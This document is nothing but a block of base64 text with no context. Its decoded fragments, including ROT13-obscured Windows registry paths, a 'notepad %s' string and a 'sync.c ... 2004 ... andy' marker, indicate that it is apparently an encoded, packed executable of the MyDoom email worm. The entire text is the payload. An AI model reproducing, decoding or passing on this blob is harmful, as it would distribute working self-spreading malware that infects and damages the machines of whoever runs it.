ErgNwcr/t///awpr+AWNjQeel+iIULayuNnzMoFf2n5f99AdDf////9KGwM6fQ8/C08Y8SvhiLU3 JPfUBx83b81rkF1Clpefov////+fnS8mVkCG9xustVq8JzskpJ2J08ilTzb6aAC+Pl0Z1v/b///1 yRTJ8OSOLDaJC+CG69ELCjPTszaGkuS9ijCg/////8e5XrzQ3qvByErXgr9d5aCek5Al2EAvMaAJ prMwAaHY/////1+tkWi8GHI59SyhY2GLHhpBJjcbR6rZ8LvF5jHgTCxpN/7//+j6EcZw90P7R6La oNX3KMW/tZVw0QT18E1pG/z///+WPZMGpSy6OXgM250CI8OZVZaEW4dCPP////8zNIA19h3zJKZe xu842tyqh9/Yci8/xOT2ljaPRDVH9f////9B1ZEmaWfKE9osMm0JKRFzWkFWCzo98FIdrC+mGvC3 +v//S/8xFCaXkg+0pCy+XtAMz8+3AGvTepFUOIiSsf83aP/lCufglSWayM7WggOlznvxtPMdNv// X/iwDNF/kY8l/lKKNnVr79vB2SPGDz51FaTA/f////+8usM8CFrnc4Zu1bBXcDoPfqTcUNVCPw+O rz+r4EBz4////xvCXH+JFLL57QMYIv4LjyqUlR1NYfomb2ETg7/w///+HcIMPfvmfz8oNJ4rryLN KaLrZ1y4aEl+Zkt/g//AqqrTKst1aKAop0jf26caPSX/////JAXX5ezg7eL4+Q5nl1aRu/Rczdff kbq3P7maXYisXTn/Fv//7HFrl+wrwC4IaMWdWRsJC+8ZtlNZlVkP/////xJ2+ZvUka9OsEFIoO6H KKZnnw7HP0/ItgLFmVy1ZHMOv8T//5sAtkFUFOsJg+rFAPmOZV5oYRT24+FSk//C///ayF+bd8ai icrS5Nsi8R+PHMmu1UB4uEzcfP/////xybNugGqghSuEueCrzedxf7ebMVq1kdIINHBOjCajab/0 /281CJtdm8iLW/1AltxAWMwQ6vywi8Vt/////4uy3x33dBHcJqkQIEp+MkG+5WFL6XJ/J7wGQ5NS +RMb//////ZdvkCcwg+ZAMaLrPWG1+CCnneL+tTmThDCGEs+KO35/8b/9nwKf0fDana5mf5drmxa zU4b64lxjvwb/f//8fYGfHlcE7FPIfVU9StifaRjcLWqYkqR/////zXGmGaAIliPVSx42EGxOixy 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 